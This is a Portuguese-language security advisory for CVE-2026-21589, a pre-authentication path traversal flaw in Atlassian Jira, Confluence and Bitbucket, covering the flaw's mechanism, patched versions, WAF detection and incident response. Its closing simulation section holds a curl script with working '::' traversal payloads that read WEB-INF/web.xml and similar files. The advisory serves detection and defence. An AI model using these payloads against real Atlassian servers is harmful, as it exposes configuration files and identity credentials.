CVE-2026-21589: Vulnerabilidade de Leitura de Arquivos Pré-Autenticação no Atlassian Jira e Confluence

Resumo

Uma vulnerabilidade crítica de leitura de arquivos arbitrários pré-autenticação, CVE-2026-21589, impacta múltiplos produtos Atlassian, incluindo Jira, Confluence e Bitbucket. Os invasores podem abusar de uma falha de traversia de caminho envolvendo o :: delimitador para acessar arquivos sensíveis dentro da raiz web do aplicativo. A exploração bem-sucedida pode expor credenciais em texto claro do Atlassian Crowd, potencialmente permitindo o comprometimento administrativo do sistema de gerenciamento de identidade.

Investigação

Pesquisadores analisaram a vulnerabilidade no atlassian-plugins-webresource JAR comparando versões afetadas e corrigidas. Eles descobriram que uma função específica converte duplos dois-pontos em barras, possibilitando a traversia de caminho. Ao direcionar plugins de recursos selecionados com barras finais, os pesquisadores conseguiram recuperar arquivos sensíveis como WEB-INF/web.xml and crowd.properties.

Mitigação

A Atlassian publicou comunicados de segurança e versões corrigidas para todos os produtos afetados. As organizações devem atualizar para as versões corrigidas recomendadas, como Bitbucket 10.5.1, Confluence 10.2.19 e Jira 11.3.12. Implantar regras de WAF capazes de detectar padrões de traversia de caminho envolvendo duplos dois-pontos, caracteres codificados, e solicitações de recursos suspeitas podem fornecer proteção adicional.

Resposta

Quando tentativas suspeitas de traversia de caminho envolvendo :: são detectadas em URLs, os respondedores de incidentes devem identificar e isolar imediatamente a instância Atlassian alvo. Revise o Atlassian Crowd para criação de contas não autorizadas, elevação de privilégios ou outra atividade anômala. Audite solicitações direcionadas a WEB-INF recursos e altere quaisquer credenciais potencialmente expostas por meio de arquivos de configuração como crowd.properties.

Execução de Simulação

• Narrativa de Ataque & Comandos: O invasor está realizando reconhecimento contra uma instância Atlassian suspeita. Eles estão utilizando um padrão de exploração conhecido para o CVE-2026-21589, que aproveita uma técnica de bypass específica usando dois-pontos duplos (::) para navegar pelo sistema de arquivos através da interface web. O objetivo é exfiltrar web.xml para mapear a estrutura interna da aplicação e potencialmente coletar credenciais para um movimento lateral adicional.

• Script de Teste de Regressão:

  #!/bin/bash
  # Script de simulação para acionar a regra de detecção de Traversia de Caminho do Atlassian
  
  TARGET_URL="http://localhost"
  
  echo "[+] Iniciando Simulação: Traversia de Caminho do Atlassian"
  
  echo "[*] Tentando Payload 1: Traversia do Jira web.xml..."
  curl -s -I "$TARGET_URL/download/resources/jira.webresources:color-picker-popup/images/..::..::..::..::..:WEB-INF::web.xml"
  
  echo "[*] Tentando Payload 2: Traversia do Confluence web.xml..."
  curl -s -I "$TARGET_URL/s/1/_/download/resources/com.atlassian.confluence.plugins.dashboard-actions/images/..::..::..::..::..::..::..:WEB-INF::web.xml"
  
  echo "[*] Tentando Payload 3: Traversia do Bitbucket urlrewrite.xml..."
  curl -s -I "$TARGET_URL/s/1.0/_/download/resources/com.atlassian.bitbucket.server.bitbucket-webpack-INTERNAL:avatar/avatar/..::..::..::..::..:WEB-INF::urlrewrite.xml"
  
  echo "[+] Simulação Completa. Verifique no SIEM por alertas."

• Comandos de Limpeza:

  # Nenhuma alteração persistente foi feita no sistema; não é necessário limpeza.
  echo "[+] Nenhuma limpeza necessária. Simulação foi não-destrutiva."